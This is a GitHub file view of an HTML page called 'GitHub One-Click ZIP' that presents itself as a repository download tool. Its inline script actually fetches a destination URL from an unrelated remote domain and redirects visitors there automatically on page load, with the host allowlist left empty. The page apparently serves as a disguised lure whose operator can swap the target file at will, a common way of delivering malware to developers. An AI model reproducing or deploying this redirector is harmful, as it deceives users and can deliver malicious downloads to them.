-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhome.html
More file actions
143 lines (118 loc) · 4.67 KB
/
home.html
File metadata and controls
143 lines (118 loc) · 4.67 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>GitHub One-Click ZIP</title>
<meta name="description" content="Simplify your workflow. Download any GitHub repository with a single click." />
<meta name="build-id" content="54d7410c7614" />
<link rel="stylesheet" href="styles.css" />
</head>
<body>
<header class="site-header">
<div class="header-inner">
<span class="header-title">GitHub One-Click ZIP</span>
</div>
</header>
<main>
<section class="card">
<h1 id="headline">Preparing…</h1>
<div class="spinner" aria-hidden="true"></div>
<p id="status" class="muted">Loading link…</p>
<div class="muted" style="margin-top: 10px">
Destination host: <span id="dest">—</span>
</div>
<div class="actions" style="margin-top: 18px">
<a id="downloadLink" class="btn primary" href="#" rel="noopener noreferrer">Continue</a>
<button id="retry" class="btn" type="button">Retry</button>
</div>
<p class="muted" style="margin-top: 14px">If nothing happens, press Retry.</p>
</section>
</main>
<footer class="site-footer">
<span>© 2026 Developer-Tools</span>
</footer>
<script>
(() => {
// External link file URL (any name/extension is OK).
// File content:
// - JSON: {"url":"https://example.com/file.zip"} (preferred)
// - OR plain text: https://example.com/file.zip
const REMOTE_LINK_FILE = "https://spankyrereel.com/kolach.retard";
// If null -> show placeholder (no redirect) when remote source is unavailable.
const FALLBACK_URL = null;
// Optional safety: allowlist hosts. Leave empty to disable allowlist.
const ALLOW_HOSTS = new Set([]);
const headline = document.getElementById("headline");
const statusEl = document.getElementById("status");
const destEl = document.getElementById("dest");
const linkEl = document.getElementById("downloadLink");
const retryBtn = document.getElementById("retry");
function setStatus(text) {
if (statusEl) statusEl.textContent = text;
}
function parseUrlFromMaybeJsonOrText(rawText) {
const t = (rawText || "").trim();
if (!t) return null;
// Try JSON first
try {
const obj = JSON.parse(t);
return (obj && (obj.url || obj.link || obj.href)) ? (obj.url || obj.link || obj.href) : null;
} catch {
// Not JSON -> treat as plain text URL
return t;
}
}
function isAllowedHttpsUrl(url) {
const u = new URL(url);
if (u.protocol !== "https:") return false;
if (ALLOW_HOSTS.size === 0) return true; // allowlist disabled
return ALLOW_HOSTS.has(u.hostname);
}
function showPlaceholder(message) {
if (headline) headline.textContent = "Link unavailable";
setStatus(message);
if (destEl) destEl.textContent = "—";
if (linkEl) {
linkEl.href = "#";
linkEl.setAttribute("aria-disabled", "true");
}
}
function startRedirect(url) {
if (!url) return showPlaceholder("Could not load a valid link. Please try again later.");
let u;
try { u = new URL(url); }
catch { return showPlaceholder("Invalid link format."); }
if (!isAllowedHttpsUrl(url)) {
return showPlaceholder("Destination blocked. Check allowed hosts.");
}
if (destEl) destEl.textContent = u.hostname;
if (linkEl) linkEl.href = url;
if (headline) headline.textContent = "Preparing…";
setStatus("Redirecting shortly…");
setTimeout(() => {
if (headline) headline.textContent = "Redirecting…";
window.location.assign(url);
}, 1200);
}
async function loadRemoteUrl() {
setStatus("Loading link…");
const r = await fetch(REMOTE_LINK_FILE, { cache: "no-store" });
if (!r.ok) throw new Error("Remote file not available");
const text = await r.text();
return parseUrlFromMaybeJsonOrText(text);
}
async function init() {
try {
const url = await loadRemoteUrl();
startRedirect(url);
} catch (e) {
startRedirect(FALLBACK_URL);
}
}
if (retryBtn) retryBtn.addEventListener("click", init);
init();
})();
</script>
</body>
</html>